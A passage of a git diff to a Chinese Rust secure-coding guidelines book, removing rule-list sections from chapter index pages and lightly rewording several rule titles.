宜使用切片迭代器来代替手工索引](./data-type/slice/P.TYP.SLC.01.md) - - [P.TYP.SLC.02 宜使用切片模式来提升代码的可读性](./data-type/slice/P.TYP.SLC.02.md) -- [元组](./data-type/tuple.md) - - [G.TYP.TUP.01 使用元组时,其元素不宜超过3个](./data-type/tuple/G.TYP.TUP.01.md) -- [固定长度数组](./data-type/array.md) - - [G.TYP.ARR.01 创建大全局数组时宜使用静态变量而非常量](./data-type/array/G.TYP.ARR.01.md) - - [G.TYP.ARR.02 使用数组索引时禁止越界访问](./data-type/array/G.TYP.ARR.02.md) - - [G.TYP.ARR.03 当数组元素为原生数据类型(Primitive),排序时优先选用非稳定排序](./data-type/array/G.TYP.ARR.03.md) -- [动态数组](./data-type/vec.md) - - [P.TYP.VEC.01 非必要时不宜使用动态数组](./data-type/vec/P.TYP.VEC.01.md) - - [P.TYP.VEC.02 创建动态数组时,宜预先分配足够容量,避免后续操作中产生多次分配](./data-type/vec/P.TYP.VEC.02.md) - - [G.TYP.VEC.01 禁止访问未初始化的数组](./data-type/vec/G.TYP.VEC.01.md) -- [结构体](./data-type/struct.md) - - [P.TYP.SCT.01 为结构体实现构造性方法时,避免构造后再初始化的情况](./data-type/struct/P.TYP.SCT.01.md) - - [P.TYP.SCT.02 结构体实例需要默认实现时,宜使用Default特质](./data-type/struct/P.TYP.SCT.02.md) - - [G.TYP.SCT.01 对外导出的公开的 Struct,宜添加`#[non_exhaustive]`属性](./data-type/struct/G.TYP.SCT.01.md) - - [G.TYP.SCT.02 当结构体中有超过三个布尔类型的字段,宜将其独立为新的枚举类](./data-type/struct/G.TYP.SCT.02.md) - - [G.TYP.SCT.03 宜使用结构体功能更新语法来提升代码可读性](./data-type/struct/G.TYP.SCT.03.md) -- [枚举体](./data-type/enum.md) - - [G.TYP.ENM.01 合理使用`map`和`and_then`](./data-type/enum/G.TYP.ENM.01.md) - - [G.TYP.ENM.02 不应自行创建空枚举](./data-type/enum/G.TYP.ENM.02.md) - - [G.TYP.ENM.03 在使用类似 C 语言的枚举写法且使用`repr(isize/usize)` 布局时注意 32位架构上截断的问题](./data-type/enum/G.TYP.ENM.03.md) - - [G.TYP.ENM.04 不宜在`use`语句中引入Enum的全部变体(variants)](./data-type/enum/G.TYP.ENM.04.md) - - [G.TYP.ENM.05 对外导出的公开Enum,宜添加`#[non_exhaustive]`属性](./data-type/enum/G.TYP.ENM.05.md) - - [G.TYP.ENM.06 Enum内变体的大小差异不宜过大](./data-type/enum/G.TYP.ENM.06.md) - diff --git a/src/safe-guides/coding_practice/data-type/array.md b/src/safe-guides/coding_practice/data-type/array.md index ba52aab0..08ed2857 100644 --- a/src/safe-guides/coding_practice/data-type/array.md +++ b/src/safe-guides/coding_practice/data-type/array.md @@ -3,9 +3,3 @@ 这里指固定长度数组。注意,不同长度的数组,被视为不同的类型。比如 `[T;1]`和 `[T;3]` 是两种不同的类型。 从 Rust 1.51 版本开始,稳定了常量泛型(const generics)功能,形如 `[T;1]`和 `[T;3]` 这种不同的类型可以统一为 `[T; N]`。 - -## 列表 - -- [G.TYP.ARR.01 创建大全局数组时宜使用静态变量而非常量](./array/G.TYP.ARR.01.md) -- [G.TYP.ARR.02 使用数组索引时禁止越界访问](./array/G.TYP.ARR.02.md) -- [G.TYP.ARR.03 当数组元素为原生数据类型(Primitive),排序时宜使用非稳定排序](./array/G.TYP.ARR.03.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/data-type/bool.md b/src/safe-guides/coding_practice/data-type/bool.md index e3c143f4..4e2733b8 100644 --- a/src/safe-guides/coding_practice/data-type/bool.md +++ b/src/safe-guides/coding_practice/data-type/bool.md @@ -1,12 +1,3 @@ # 布尔 Rust 中的布尔类型有 `true`和`false`两种值。 - -## 列表 - -- [G.TYP.BOL.01 返回为布尔值的表达式或函数值不应和布尔字面量进行比较](./bool/G.TYP.BOL.01.md) -- [G.TYP.BOL.02 如果 match 匹配表达式为布尔类型,应使用 if 表达式来代替](./bool/G.TYP.BOL.02.md) -- [G.TYP.BOL.03 不应将数字类型转换为布尔值](./bool/G.TYP.BOL.03.md) -- [G.TYP.BOL.04 禁止在`if`表达式条件中使用块(block)结构](./bool/G.TYP.BOL.04.md) -- [G.TYP.BOL.05 非必要时,布尔运算应使用逻辑运算符(`&&/||`)而非位运算符(`&/|`)](./bool/G.TYP.BOL.05.md) -- [G.TYP.BOL.06 不应使用数字来代替布尔值](./bool/G.TYP.BOL.06.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/data-type/char.md b/src/safe-guides/coding_practice/data-type/char.md index aa633b88..7541dec7 100644 --- a/src/safe-guides/coding_practice/data-type/char.md +++ b/src/safe-guides/coding_practice/data-type/char.md @@ -2,9 +2,3 @@ 在 Rust 中,字符是一个合法的 Unicode 标量值(Unicode scalar value),一个字符大小为 4 字节,对应一个 Unicode 码位(CodePoint)。 -## 列表 - - -- [G.TYP.CHR.01 不宜将字符字面量强制转换为 `u8`](./char/G.TYP.CHR.01.md) -- [G.TYP.CHR.02 字符串方法中如果需要单个字符的值作为参数,宜使用字符而非字符串](./char/G.TYP.CHR.02.md) -- [G.TYP.CHR.03 当需要将整数转换为字符时,应使用安全转换函数,而非 transmute](./char/G.TYP.CHR.03.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/data-type/enum.md b/src/safe-guides/coding_practice/data-type/enum.md index c483d27a..273a2098 100644 --- a/src/safe-guides/coding_practice/data-type/enum.md +++ b/src/safe-guides/coding_practice/data-type/enum.md @@ -1,12 +1,3 @@ # 枚举体 Rust 的枚举是一种带 Tag 的联合体。 一般分为三类:空枚举、无字段(fieldless)枚举和数据承载(data carrying)枚举。 - -## 列表 - -- [G.TYP.ENM.01 合理选择`map`和`and_then`](./enum/G.TYP.ENM.01.md) -- [G.TYP.ENM.02 非必要时不应自行创建空枚举](./enum/G.TYP.ENM.02.md) -- [G.TYP.ENM.03 在使用类似 C 语言的枚举写法且使用`repr(isize/usize)` 布局时注意 32位架构上截断的问题](./enum/G.TYP.ENM.03.md) -- [G.TYP.ENM.04 不宜在`use`语句中引入Enum的全部变体(variants)](./enum/G.TYP.ENM.04.md) -- [G.TYP.ENM.05 对外导出的公开Enum,宜添加`#[non_exhaustive]`属性](./enum/G.TYP.ENM.05.md) -- [G.TYP.ENM.06 Enum内变体的大小差异不宜过大](./enum/G.TYP.ENM.06.md) diff --git a/src/safe-guides/coding_practice/data-type/float.md b/src/safe-guides/coding_practice/data-type/float.md index 2966c5f7..dbd8737c 100644 --- a/src/safe-guides/coding_practice/data-type/float.md +++ b/src/safe-guides/coding_practice/data-type/float.md @@ -2,10 +2,3 @@ Rust 的浮点数包括 `f32` 和 `f64` 两种类型。Rust 编译器默认推断的 Float 类型是 `f64`。 -## 列表 - -- [G.TYP.FLT.01 使用浮点数字面量时,要警惕是否存在被Rust编译器截断的风险](./float/G.TYP.FLT.01.md) -- [G.TYP.FLT.02 从任何数字类型转换为`f64`类型时注意避免损失精度](./float/G.TYP.FLT.02.md) -- [G.TYP.FLT.03 对精度高要求的场景下,使用浮点数进行运算和比较时需要注意精度损失](./float/G.TYP.FLT.03.md) -- [G.TYP.FLT.04 宜使用Rust内置方法处理浮点数计算](./float/G.TYP.FLT.04.md) -- [G.TYP.FLT.05 禁止在浮点数和整数相互转换时使用 transmute](./float/G.TYP.FLT.05.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/data-type/int.md b/src/safe-guides/coding_practice/data-type/int.md index 5ccda940..ca0ba001 100644 --- a/src/safe-guides/coding_practice/data-type/int.md +++ b/src/safe-guides/coding_practice/data-type/int.md @@ -2,10 +2,3 @@ Rust 中有目前有十二种整数类型:`i8/u8`, `i16/u16`, `i32/u32`, `i64/u64`, `i128/u128`, `isize/usize` 。 -## 列表 - -- [G.TYP.INT.01 在用整数计算的时候需要考虑整数溢出、回绕和截断的风险](./int/G.TYP.INT.01.md) -- [G.TYP.INT.02 避免有符号整数和无符号整数之间的强制转换](./int/G.TYP.INT.02.md) -- [G.TYP.INT.03 对负数取模计算的时候不应使用`%`](./int/G.TYP.INT.03.md) - - diff --git a/src/safe-guides/coding_practice/data-type/slice.md b/src/safe-guides/coding_practice/data-type/slice.md index 187f54d6..033ba88c 100644 --- a/src/safe-guides/coding_practice/data-type/slice.md +++ b/src/safe-guides/coding_practice/data-type/slice.md @@ -4,7 +4,3 @@ `&str` 就是一种字符串切片。 -## 列表 - -- [P.TYP.SLC.01 宜使用切片迭代器来代替手工索引](./slice/P.TYP.SLC.01.md) -- [P.TYP.SLC.02 宜使用切片模式来提升代码的可读性](./slice/P.TYP.SLC.02.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/data-type/struct.md b/src/safe-guides/coding_practice/data-type/struct.md index b9c2d745..9d273265 100644 --- a/src/safe-guides/coding_practice/data-type/struct.md +++ b/src/safe-guides/coding_practice/data-type/struct.md @@ -1,11 +1,3 @@ # 结构体 Rust 包含了三种结构体: 命名结构体、元组结构体、单元结构体。 - -## 列表 - -- [P.TYP.SCT.01 为结构体实现构造性方法时,避免构造后再初始化的情况](./struct/P.TYP.SCT.01.md) -- [P.TYP.SCT.02 结构体实例需要默认实现时,宜使用Default特质](./struct/P.TYP.SCT.02.md) -- [G.TYP.SCT.01 对外导出的公开的 Struct,宜添加`#[non_exhaustive]`属性](./struct/G.TYP.SCT.01.md) -- [G.TYP.SCT.02 当结构体中有超过三个布尔类型的字段,宜将其独立为一个枚举](./struct/G.TYP.SCT.02.md) -- [G.TYP.SCT.03 宜使用结构体功能更新语法来提升代码可读性](./struct/G.TYP.SCT.03.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/data-type/tuple.md b/src/safe-guides/coding_practice/data-type/tuple.md index 004bb344..3e8a44fb 100644 --- a/src/safe-guides/coding_practice/data-type/tuple.md +++ b/src/safe-guides/coding_practice/data-type/tuple.md @@ -2,6 +2,3 @@ 元组是异构复合类型,可以存储多个不同类型的元素。 -## 列表 - -- [G.TYP.TUP.01 使用元组时,其元素最多不宜超过3个](./tuple/G.TYP.TUP.01.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/data-type/vec.md b/src/safe-guides/coding_practice/data-type/vec.md index 1785543a..c2c42f28 100644 --- a/src/safe-guides/coding_practice/data-type/vec.md +++ b/src/safe-guides/coding_practice/data-type/vec.md @@ -4,8 +4,3 @@ 在数组一节中有[部分原则和规则](./array.md)也适用于这里。 -## 列表 - -- [P.TYP.VEC.01 非必要时不宜使用动态数组](./vec/P.TYP.VEC.01.md) -- [P.TYP.VEC.02 创建动态数组时,宜预先分配足够容量,避免后续操作中产生多次分配](./vec/P.TYP.VEC.02.md) -- [G.TYP.VEC.01 禁止访问未初始化的数组](./vec/G.TYP.VEC.01.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/error-handle.md b/src/safe-guides/coding_practice/error-handle.md index b75ea8de..c51291d2 100644 --- a/src/safe-guides/coding_practice/error-handle.md +++ b/src/safe-guides/coding_practice/error-handle.md @@ -12,9 +12,3 @@ Rust 语言针对这三类非正常情况分别提供了专门的处理方式, - 对于错误,Rust 提供了基于返回值的分层错误处理方式,比如 Option 可以用来处理可能存在空值的情况,而 Result 就专门用来处理可以被合理解决并需要传播的错误。 - 对于异常,Rust 将其看作无法被合理解决的问题,提供了线程恐慌机制,在发生异常的时候,线程可以安全地退出。 -## 列表 - -- [P.ERR.01 当传入函数的参数值因为超出某种限制可能会导致函数调用失败,应该使用断言](./error-handle/P.ERR.01.md) -- [P.ERR.02 在确定 `Option` 和 `Result`类型的值不可能是 `None` 或 `Err `时,请用 `expect` 代替 `unwrap()`](./error-handle/P.ERR.03.md) -- [G.ERR.01 在处理 `Option` 和 `Result` 类型时,不要随便使用 `unwrap`](./error-handle/G.ERR.01.md) -- [G.ERR.02 不要滥用 `expect`,请考虑用 `unwrap_or_` 系列方法代替](./error-handle/G.ERR.02.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/expr.md b/src/safe-guides/coding_practice/expr.md index 99880594..3a173624 100644 --- a/src/safe-guides/coding_practice/expr.md +++ b/src/safe-guides/coding_practice/expr.md @@ -2,11 +2,3 @@ Rust 中几乎一切皆表达式。 -## 列表 - -- [G.EXP.01 当需要对表达式求值后重新赋值时,宜使用复合赋值模式](./expr/G.EXP.01.md) -- [G.EXP.02 不宜在比较中使用不兼容的位掩码](./expr/G.EXP.02.md) -- [G.EXP.03 不应利用数组表达式的边界检查来 Panic,而应使用断言](./expr/G.EXP.03.md) -- [G.EXP.04 自增/自减运算使用 `+=/-=`](./expr/G.EXP.04.md) -- [G.EXP.05 使用括号来清楚表示表达式的计算顺序](./expr/G.EXP.05.md) -- [G.EXP.06 避免在比较中添加无用的掩码操作](./expr/G.EXP.06.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/expr/G.EXP.04.md b/src/safe-guides/coding_practice/expr/G.EXP.04.md index ccf87e21..f7bc24ae 100644 --- a/src/safe-guides/coding_practice/expr/G.EXP.04.md +++ b/src/safe-guides/coding_practice/expr/G.EXP.04.md @@ -1,4 +1,4 @@ -## G.EXP.04 自增/自减运算使用 `+=`/`-=` +## G.EXP.04 自增或自减运算使用`+=`或`-=` **【级别】** 建议 diff --git a/src/safe-guides/coding_practice/fn-design.md b/src/safe-guides/coding_practice/fn-design.md index b09a5631..205ac010 100644 --- a/src/safe-guides/coding_practice/fn-design.md +++ b/src/safe-guides/coding_practice/fn-design.md @@ -2,13 +2,3 @@ 创建函数或使用闭包时需要注意的地方。 -## 列表 - -- [P.FUD.01 传递到闭包的变量建议单独重新绑定](./fn-design/P.FUD.01.md) -- [P.FUD.02 函数返回值不要使用 return](./fn-design/P.FUD.02.md) -- [G.FUD.01 函数参数最长不要超过五个](./fn-design/G.FUD.01.md) -- [G.FUD.02 当函数参数实现了 Copy,并且是按值传入,如果值可能会太大,则宜考虑按引用传递](./fn-design/G.FUD.02.md) -- [G.FUD.03 当函数参数出现太多 bool 类型的参数时,应该考虑将其封装为自定义的结构体或枚举](./fn-design/G.FUD.03.md) -- [G.FUD.04 当Copy 类型的足够小的值作为函数参数时,应该按值(by-value)传入,而不是引用(by-ref)](./fn-design/G.FUD.04.md) -- [G.FUD.05 不要为函数指定 inline(always)](./fn-design/G.FUD.05.md) -- [G.FUD.06 函数参数建议使用借用类型](./fn-design/G.FUD.06.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/generic.md b/src/safe-guides/coding_practice/generic.md index e749fc30..6fa6c5f8 100644 --- a/src/safe-guides/coding_practice/generic.md +++ b/src/safe-guides/coding_practice/generic.md @@ -2,12 +2,3 @@ Rust 中的泛型允许开发人员编写更加简洁、更少重复的代码。但泛型可能会引起编译文件大小膨胀,酌情使用。 -## 列表 - -- [P.GEN.01 用泛型来抽象公共语义](./generic/P.GEN.01.md) -- [P.GEN.02 不要随便使用 impl Trait 语法替代泛型限定](./generic/P.GEN.02.md) -- [P.GEN.03 不要使用太多泛型参数和 trait 限定,否则会增长编译时间](./generic/P.GEN.03.md) -- [P.GEN.04 为泛型类型实现方法时,impl 中声明的泛型类型参数一定要被用到](./generic/P.GEN.04.md) -- [P.GEN.05 定义泛型函数时,如果该函数实现用到来自 trait 定义的相关行为,需要为泛型指定相关 trait 的限定](./generic/P.GEN.05.md) -- [G.GEN.01 不要在泛型位置上使用内建类型](./generic/G.GEN.01.md) -- [G.GEN.02 使用 Rust 标准库中某些方法,要注意避免使用其泛型默认实现,而应该使用具体类型的实现](./generic/G.GEN.02.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/io.md b/src/safe-guides/coding_practice/io.md index 1d6ad740..07e0516c 100644 --- a/src/safe-guides/coding_practice/io.md +++ b/src/safe-guides/coding_practice/io.md @@ -6,7 +6,3 @@ 本部分只关注 Safe Rust 下 I/O 相关规范。 -## 列表 - -- [P.FIO.01 使用`read_to_end/read_to_string`方法时注意文件的大小能否一次性读入内存中](./io/P.FIO.01.md) -- [G.FIO.01 文件读取建议使用 `BufReader/BufWriter` 来代替 `Reader/Write`](./io/G.FIO.01.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/macros.md b/src/safe-guides/coding_practice/macros.md index 95128d6d..517cf025 100644 --- a/src/safe-guides/coding_practice/macros.md +++ b/src/safe-guides/coding_practice/macros.md @@ -36,26 +36,3 @@ rustc -Z unstable-options --pretty expanded hello.rs # 对项目里的二进制 rs 文件 cargo rustc --bin hello -- -Z unstable-options --pretty=expanded ``` - -## 列表 - -- [P.MAC.01 不要轻易使用宏](./macros/P.MAC.01.md) -- [P.MAC.02 实现宏语法的时候,应该尽量贴近 Rust 语法](./macros/P.MAC.02.md) -- [G.MAC.01 dbg!() 宏只应该用于调试代码](./macros/G.MAC.01.md) -- [G.MAC.02 使用宏时应该考虑宏展开会让编译文件膨胀的影响](./macros/G.MAC.02.md) -- [声明宏](./macros/decl.md) - - [P.MAC.DCL.01 不要将声明宏内的变量作为外部变量使用](./macros/decl/P.MAC.DCL.01.md) - - [P.MAC.DCL.02 在编写多个宏规则时,应该先从匹配粒度最小的开始写](./macros/decl/P.MAC.DCL.02.md) - - [P.MAC.DCL.03 不要在片段分类符跟随它不匹配的符号](./macros/decl/P.MAC.DCL.03.md) - - [P.MAC.DCL.04 匹配规则要精准,不要模糊不清](./macros/decl/P.MAC.DCL.04.md) - - [P.MAC.DCL.05 使用宏替换(substitution)元变量的时候要注意选择合适的片段分类符](./macros/decl/P.MAC.DCL.05.md) - - [P.MAC.DCL.06 当宏需要接收 self 时需要注意](./macros/decl/P.MAC.DCL.06.md) - - [P.MAC.DCL.07 确保在宏定义之后再去调用宏](./macros/decl/P.MAC.DCL.07.md) - - [P.MAC.DCL.08 同一个 crate 内定义的宏相互调用时,需要注意卫生性](./macros/decl/P.MAC.DCL.08.md) -- [过程宏](./macros/proc.md) - - [P.MAC.PRO.01 不要使用过程宏来规避静态分析检查](./macros/proc/P.MAC.PRO.01.md) - - [P.MAC.PRO.02 实现过程宏时要对关键特性增加测试](./macros/proc/P.MAC.PRO.02.md) - - [P.MAC.PRO.03 保证过程宏的卫生性](./macros/proc/P.MAC.PRO.03.md) - - [P.MAC.PRO.04 给出正确的错误位置](./macros/proc/P.MAC.PRO.04.md) - - [P.MAC.PRO.05 代码生成要按情况选择使用过程宏还是 build.rs](./macros/proc/P.MAC.PRO.05.md) - - [P.MAC.PRO.06 build.rs 生成的代码要保证没有任何警告](./macros/proc/P.MAC.PRO.06.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/memory.md b/src/safe-guides/coding_practice/memory.md index 93a445b4..2be9d928 100644 --- a/src/safe-guides/coding_practice/memory.md +++ b/src/safe-guides/coding_practice/memory.md @@ -1,15 +1,2 @@ # 3.13 内存管理 -## 列表 - -- [生命周期](./memory/lifetime.md) - - [P.MEM.LFT.01 生命周期参数命名尽量有意义且简洁](./memory/lifetime/P.MEM.LFT.01.md) - - [P.MEM.LFT.02 通常需要显式地标注生命周期,而非利用编译器推断](./memory/lifetime/P.MEM.LFT.02.md) -- [智能指针](./memory/smart-ptr.md) - - [P.MEM.SPT.01 使用 `RefCell` 时宜使用 `try_borrow/try_borrow_mut` 方法](./memory/smart-ptr/P.MEM.SPT.01.md) -- [Box 类型](./memory/box.md) - - [G.MEM.BOX.01 一般情况下,不应直接对 `Box` 进行借用](./memory/box/G.MEM.BOX.01.md) - - [G.MEM.BOX.02 一般情况下,不应直接对已经在堆上分配内存的类型进行 Box 装箱](./memory/box/G.MEM.BOX.02.md) - - [G.MEM.BOX.03 一般情况下,不应直接对栈分配类型进行 Box 装箱](./memory/box/G.MEM.BOX.03.md) -- [Drop 析构](./memory/drop.md) - - [G.MEM.DRP.01 要注意防范内存泄漏](./memory/drop/G.MEM.DRP.01.md) diff --git a/src/safe-guides/coding_practice/module.md b/src/safe-guides/coding_practice/module.md index d04abf7c..7bd074a9 100644 --- a/src/safe-guides/coding_practice/module.md +++ b/src/safe-guides/coding_practice/module.md @@ -7,13 +7,3 @@ Rust 中一个文件 即一个模块,也可以通过 `mod` 来创建模块。 1. `mod`是 Rust 代码的“骨架”。 2. `use` 则是用来决定使用或导出哪个模块中的具体的类型或方法。 3. `Path`,则是一个命名系统,类似于命名空间。 - -## 列表 - -- [P.MOD.01 合理控制对外接口和模块之间的可见性](./module/P.MOD.01.md) -- [P.MOD.02 将模块的测试移动到单独的文件,有助于增加编译速度](./module/P.MOD.02.md) -- [G.MOD.01 使用导入模块中的类型或函数,在某些情况下需要带 模块名前缀](./module/G.MOD.01.md) -- [G.MOD.02 如果是作为库供别人使用,在 lib.rs中重新导出对外类型、函数和 trait 等](./module/G.MOD.02.md) -- [G.MOD.03 导入模块不要随便使用 通配符`*`](./module/G.MOD.03.md) -- [G.MOD.04 一个项目中应该避免使用不同的模块布局风格](./module/G.MOD.04.md) -- [G.MOD.05 不要在私有模块中设置其内部类型或函数方法为`pub(crate)`](./module/G.MOD.05.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/no-std.md b/src/safe-guides/coding_practice/no-std.md index eb9ced9d..661371ea 100644 --- a/src/safe-guides/coding_practice/no-std.md +++ b/src/safe-guides/coding_practice/no-std.md @@ -8,7 +8,3 @@ Rust 也有 `#![no_core]` 属性,但是还未稳定,不建议使用。 > 参考数据: `core` 在编译后文件大小中只占大约 3k 大小。 -## 列表 - -- [P.EMB.01 `no-std` 下必须定义一个Panic行为以确保安全](./no-std/P.EMB.01.md) -- [P.EMB.02 要确保程序中的类型有正确的内存布局](./no-std/P.EMB.02.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/no-std/P.EMB.02.md b/src/safe-guides/coding_practice/no-std/P.EMB.02.md index 3c7039c4..d2b60ed1 100644 --- a/src/safe-guides/coding_practice/no-std/P.EMB.02.md +++ b/src/safe-guides/coding_practice/no-std/P.EMB.02.md @@ -1,4 +1,4 @@ -## P.EMB.02 要确保程序中的类型有正确的内存布局 +## P.EMB.02 no-std 下要确保程序中的类型有正确的内存布局 **【描述】** diff --git a/src/safe-guides/coding_practice/others.md b/src/safe-guides/coding_practice/others.md index bb396892..ce36edef 100644 --- a/src/safe-guides/coding_practice/others.md +++ b/src/safe-guides/coding_practice/others.md @@ -1,6 +1,2 @@ # 3.23 其他 -## 列表 - -- [G.OTH.01 对于某些场景下不建议使用的方法可以通过配置 clippy.toml 来拒绝](./others/G.OTH.01.md) -- [G.OTH.01 使用标准库中对应的方法计算秒级、毫秒级、微秒级的时间](./others/G.OTH.02.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/security.md b/src/safe-guides/coding_practice/security.md index 716bce73..73c79dfb 100644 --- a/src/safe-guides/coding_practice/security.md +++ b/src/safe-guides/coding_practice/security.md @@ -2,13 +2,3 @@ Security 用于规范可能引起信息安全(Security)缺陷的代码实现,而非功能安全( Safety)类问题。 -## 列表 - -- [P.SEC.01 使用第三方库的时候要确保可信的依赖,小心供应链攻击](./security/P.SEC.01.md) -- [G.SEC.01 代码中不要出现非法 Unicode 字符,也要防范非法 Unicode 字符](./security/G.SEC.01.md) - - - - - - diff --git a/src/safe-guides/coding_practice/statics.md b/src/safe-guides/coding_practice/statics.md index ab8d3090..82f027f2 100644 --- a/src/safe-guides/coding_practice/statics.md +++ b/src/safe-guides/coding_practice/statics.md @@ -2,6 +2,3 @@ 静态变量是用 `static` 关键字定义的全局静态变量。 -## 列表 - -- [G.STV.01 不宜直接使用可变静态变量作为全局变量](./statics/G.STV.01.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/strings.md b/src/safe-guides/coding_practice/strings.md index 0581336a..db7f062a 100644 --- a/src/safe-guides/coding_practice/strings.md +++ b/src/safe-guides/coding_practice/strings.md @@ -4,15 +4,3 @@ Rust 中字符串是有效的 UTF-8 编码的字节数组。 Rust 字符串类型众多,但本节内容主要围绕 :`String` / `&str` -## 列表 - -- [P.STR.01 处理字符串元素时优先按字节处理而非字符](./strings/P.STR.01.md) -- [P.STR.02 创建字符串时,宜预先分配大约足够的容量来避免后续操作中产生多次分配](./strings/P.STR.02.md) -- [P.STR.03 在使用内建字符串处理函数或方法的时候,应注意避免隐藏的嵌套迭代或多次迭代](./strings/P.STR.03.md) -- [P.STR.04 只在合适的场景下,使用正则表达式第三方库](./strings/P.STR.04.md) -- [P.STR.05 在拼接字符串时,优先使用`format!`](./strings/P.STR.05.md) -- [G.STR.01 在实现Display特质时不要调用to_string()方法](./strings/G.STR.01.md) -- [G.STR.02 在追加字符串时使用push_str方法](./strings/G.STR.02.md) -- [G.STR.03 将只包含 ASCII字符的字符串字面量转为字节序列可以直接使用b"str" 语法代替调用as_bytes方法](./strings/G.STR.03.md) -- [G.STR.04 需要辨别字符串的字符开头或结尾字符时,不应按字符迭代比较](./strings/G.STR.04.md) -- [G.STR.05 对字符串按指定位置进行切片的时候需要小心破坏其 UTF-8 编码](./strings/G.STR.05.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/threads.md b/src/safe-guides/coding_practice/threads.md index 97c7a674..3896f2d2 100644 --- a/src/safe-guides/coding_practice/threads.md +++ b/src/safe-guides/coding_practice/threads.md @@ -2,14 +2,3 @@ Rust 天生可以有效消除数据竞争。 -## 列表 - -- [锁同步](./threads/lock.md) - - [P.MTH.LCK.01 多线程下要注意识别锁争用的情况,避免死锁](./threads/lock/P.MTH.LCK.01.md) - - [G.MTH.LCK.01 对布尔或引用并发访问应该使用原子类型而非互斥锁](./threads/lock/G.MTH.LCK.01.md) - - [G.MTH.LCK.02 建议使用 `Arc / Arc<[T]>` 来代替 `Arc / Arc>`](./threads/lock/G.MTH.LCK.02.md) - - [G.MTH.LCK.03 尽量避免直接使用标准库 `std::sync` 模块中的同步原语,替换为 `parking_lot`](./threads/lock/G.MTH.LCK.03.md) - - [G.MTH.LCK.04 尽量避免直接使用标准库 `std::sync::mpsc` 模块中的 `channel`,替换为 `crossbeam`](./threads/lock/G.MTH.LCK.04.md) -- [无锁](./threads/lock-free.md) - - [P.MTH.LKF.01 除非必要,否则建议使用同步锁](./threads/lock-free/P.MTH.LKF.01.md) - - [P.MTH.LKF.02 使用无锁编程时,需要合理选择内存顺序](./threads/lock-free/P.MTH.LKF.02.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.02.md b/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.02.md index 2f6bcd15..52d7fd20 100644 --- a/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.02.md +++ b/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.02.md @@ -1,4 +1,4 @@ -## G.MTH.LCK.02 建议使用 `Arc / Arc<[T]>` 来代替 `Arc / Arc>` +## G.MTH.LCK.02 宜使用 `Arc / Arc<[T]>` 来代替 `Arc / Arc>` **【级别】** 建议 diff --git a/src/safe-guides/coding_practice/traits.md b/src/safe-guides/coding_practice/traits.md index d5a9e997..62176850 100644 --- a/src/safe-guides/coding_practice/traits.md +++ b/src/safe-guides/coding_practice/traits.md @@ -2,21 +2,3 @@ 特质就是指 trait。在 Rust 中, trait 不是具体类型,而是一种抽象接口。但是通过 `impl Trait` 和 `dyn Trait` 也可以将 trait 作为类型使用。 -## 列表 - -- [P.TRA.01 使用 trait 时要注意 trait 一致性规则](./traits/P.TRA.01.md) -- [标准库内置 trait](./traits/std-builtin.md) - - [P.TRA.BLN.01 在实现`Borrow`特质时,需要注意一致性](./traits/std-builtin/P.TRA.BLN.01.md) - - [G.TRA.BLN.01 应该具体类型的 `default()` 方法代替 `Default::default()` 调用](./traits/std-builtin/G.TRA.BLN.01.md) - - [G.TRA.BLN.02 不要为迭代器实现Copy特质](./traits/std-builtin/G.TRA.BLN.02.md) - - [G.TRA.BLN.03 能使用派生宏(Derive)自动实现Default特质就不要用手工实现](./traits/std-builtin/G.TRA.BLN.03.md) - - [G.TRA.BLN.04 在使用`#[derive(Hash)]`的时候,避免再手工实现`PartialEq`](./traits/std-builtin/G.TRA.BLN.04.md) - - [G.TRA.BLN.05 在使用`#[derive(Ord)]` 的时候,避免再手工实现 `PartialOrd`](./traits/std-builtin/G.TRA.BLN.05.md) - - [G.TRA.BLN.06 不要对实现 `Copy` 或引用类型调用 `std::mem::drop` 和 `std::mem::forgot`](./traits/std-builtin/G.TRA.BLN.06.md) - - [G.TRA.BLN.07 对实现 `Copy` 的可迭代类型来说,要通过迭代器拷贝其所有元素时,应该使用 `copied`方法,而非`cloned`](./traits/std-builtin/G.TRA.BLN.07.md) - - [G.TRA.BLN.08 实现 `From` 而不是 `Into`](./traits/std-builtin/G.TRA.BLN.08.md) - - [G.TRA.BLN.09 一般情况下不要给 `Copy` 类型手工实现 `Clone`](./traits/std-builtin/G.TRA.BLN.09.md) - - [G.TRA.BLN.10 不要随便使用Deref特质来模拟继承](./traits/std-builtin/G.TRA.BLN.10.md) -- [trait 对象](./traits/trait-object.md) - - [P.TRA.OBJ.01 根据场景合理选择使用trait对象或泛型静态分发](./traits/trait-object/P.TRA.OBJ.01.md) - - [P.TRA.OBJ.02 除非必要,避免自定义虚表](./traits/trait-object/P.TRA.OBJ.02.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust.md b/src/safe-guides/coding_practice/unsafe_rust.md index dbf6b69b..387a9827 100644 --- a/src/safe-guides/coding_practice/unsafe_rust.md +++ b/src/safe-guides/coding_practice/unsafe_rust.md @@ -14,56 +14,4 @@ Unsafe Rust 是 Safe Rust 的超集,意味着在 Unsafe Rust 中也会有 Safe **Unsafe Rust 的语义:这是编译器无法保证安全的地方,需要程序员来保证安全。** -## 列表 - -- [P.UNS.01 不要为了逃避 编译器安全检查而滥用 Unsafe Rust](./unsafe_rust/P.UNS.01.md) -- [P.UNS.02 